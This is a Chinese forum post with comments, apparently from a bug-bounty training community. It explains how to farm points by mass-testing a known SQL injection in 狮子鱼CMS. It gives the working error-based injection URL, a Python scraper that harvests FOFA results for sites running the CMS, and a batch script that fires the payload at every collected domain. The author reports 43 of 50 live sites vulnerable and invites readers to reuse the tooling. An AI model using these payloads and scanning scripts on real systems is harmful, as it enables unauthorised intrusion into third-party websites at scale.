大家好,我是十二期五班的helo,参见了27期SRC活动。这次来分享一下我的挖掘经验,希望可以对各位有帮助。
上榜需要什么?需要分,需要很多分。取得高分的方法就是不能靠一个一个站的去找,这样浪费时间且低效。我们需要批量的去找漏洞,批量的获得分。
那么怎么批量的去找漏洞呢?需要通杀漏洞。一个漏洞点可以验证所有使用这个CMS,这个框架,这个中间件,这个服务器的站点。
如果有0day,那将无敌。但是对于我们新手来说,目前可能没有0day挖掘的能力。但是我们可以找Nday呀。最好是1day。先自己把这个漏洞复现出来,知道原理之后就可以批量去验证洞了
我这里使用的例子就是一个nday。
狮子鱼CMS ApiController.class.php 参数过滤存在不严谨,导致SQL注入漏洞
造成这个SQL注入的原因是:
ApiController.class.php 中没有对参数$good_id进行过滤。
https://www.xxx.com/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)
先找个站点测试一下:
fofa语法:”/seller.php?s=/Public/login”
成功报错。
验证成功了说明这个洞有效,接下来我们就可以批量的去验证这个洞。
fofa语句也提供了,正常情况下我们需要点开一个个站点去验证。但是如果我们会爬虫,把fofa语法搜索出来的结果ip跟域名保存下来,然后写程序去请求这个保存下来的IP进行验证,那我们不就只需要等着就行了吗。
如果有fofa会员的话,fofa是提供api的,他会把你请求的结果用json格式的数据返回给你,你可以直接解析里的各项信息,包括域名跟ip。还是很方便的。
但是,我们是白嫖怪,会员是不可能开的。
普通注册会员fofa提供50条结果,所以注册一下为好。
这里直接提供给各位没有会员的fofa爬虫。
import requests
import urllib3
from lxml import etree
urllib3.disable_warnings() #忽略https证书告警
headers = {
'Cookie': '登录后获取自己cookie',
'Upgrade-Insecure-Requests': '1',
'Referer': 'https://fofa.so/',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
# fofa搜索结果url,qbase是搜索内容的base64加密结果,page_size是每页多少个,page是页数
base_url = "https://fofa.so/result?qbase64=Ii9zZWxsZXIucGhwP3M9L1B1YmxpYy9sb2dpbiIgJiYgaXNfZG9tYWluPXRydWU%3D&page_size=50&page="
def get_domainList(url):
response = requests.get(url=url, verify=False, headers=headers)
selector = etree.HTML(response.text)
domainList = selector.xpath('//span[@class="aSpan"]/a/text()')
# print("domainlist:", domainList)
return domainList
def get_IPLIst(url):
response = requests.get(url=url, verify=False, headers=headers)
selector = etree.HTML(response.text)
IPList = selector.xpath('//div[@class="contentMain"]/div[@class="contentLeft"]/p[2]/a[@class="jumpA"]/text()')
# print("iplist:", IPList)
return IPList
def write_list(listName, filename):
f = open(filename, 'a', encoding='utf-8')
print("writeing in : ", filename)
for list1 in listName:
print(list1)
f.write(list1 +('\n'))
f.close()
def main():
for i in range(1, 6):
url = base_url+str(i)
domainList = get_domainList(url)
IPList = get_IPLIst(url)
write_list(domainList, "./save_file/shiziyuSQL-domainList.txt")
write_list(IPList, "./save_file/shiziyuSQL-IPList.txt")
print("save success!")
if __name__ == '__main__':
main()
结果会保存在shiziyuSQL-domainList.txt和shiziyuSQL-IPList.txt中。
接下来就是批量请求了,POC如下:
# -*- coding:utf-8 -*-
import requests
import re
import json
import sys
import urllib3
urllib3.disable_warnings() #忽略https证书告警
vunl_path = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)"
def POC(url):
target_url = url + vunl_path
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=target_url, headers=headers, verify=False, timeout=10)
print("正在测试:", target_url)
if "syntax" in response.text:
print("上述地址存在SQL注入")
except Exception as e:
print("请求失败!")
sys.exit(0)
if __name__ == '__main__':
print("python3 poc.py http://xx.xx.xx.xx")
with open("./save_file/shiziyuSQL-domainList.txt", "r") as f:
results = f.readlines()
for result in results:
if "http" in result:
url = result.strip()
POC(url)
else:
url = "http://" + result
url = url.strip()
POC(url)
这个脚本会在保存的域名列表后加上漏洞路径:”/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)“
去验证漏洞是否存在,如果报错出数据库名就能证明此处存在SQL注入,否则没有,直接下一个,快速又高效。
这次的验证结果如下:
50个域名里有43个存在SQL注入。由于我们没有fofa会员只能请求50个,fofa会员不可想 太多了,你看看
你接下最枯燥的事情就是提交漏洞了。(这个源码可以直接接着使用,因为我只在漏洞盒子上提交了几个,提交40几个漏洞也太累了)需要上分的兄弟可以参考。
看到这里你还觉得上榜难吗?1000分不是轻轻松松吗?躺着就把分拿到手了
fofa爬虫跟POC的源码都提供给各位了,要个赞不过分吧。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
奖励系统 | 100.00 | 0 | 2021-07-17 20:08:07 | 投稿满 10 赞奖励 |
裁决者 | 10.00 | 0 | 2021-06-07 15:03:11 | 一个受益终生的帖子~~ |
奖励系统 | 50.00 | 0 | 2021-06-06 19:07:43 | 投稿满 5 赞奖励 |
Track-聂风 | 70.00 | 0 | 2021-05-28 15:03:11 | 赞 |
打赏我,让我更有动力~
© 2016 - 2023 掌控者 All Rights Reserved.
Track-聂风
发表于 2021-5-28
其实有漏洞盒子自动提交脚本,你可以去看看结合。然后希望文章下次给的是思路吧,这样暴力的上榜并不推荐
评论列表
加载数据中...
fengming93
发表于 2021-5-31
python2还是python3?
评论列表
加载数据中...
乐伟超
发表于 2021-6-1
有源码可以分享一下吗
评论列表
加载数据中...
裁决者
发表于 2021-6-7
这篇文章可以得 上榜真得很简单 不过嘛对于技术得提升来说就没有太大关系了
评论列表
加载数据中...
fallen
发表于 2021-6-11
为啥我只能爬取10条数据啊。。
评论列表
加载数据中...
lbclbclbc
发表于 2021-6-22
厉害厉害
评论列表
加载数据中...
hab
发表于 2021-7-15
你们执行那段爬虫不报错吗?
评论列表
加载数据中...
magiceye
发表于 2022-1-12
牛
评论列表
加载数据中...
治秃用霸王
发表于 7个月前
菜鸡路过。
评论列表
加载数据中...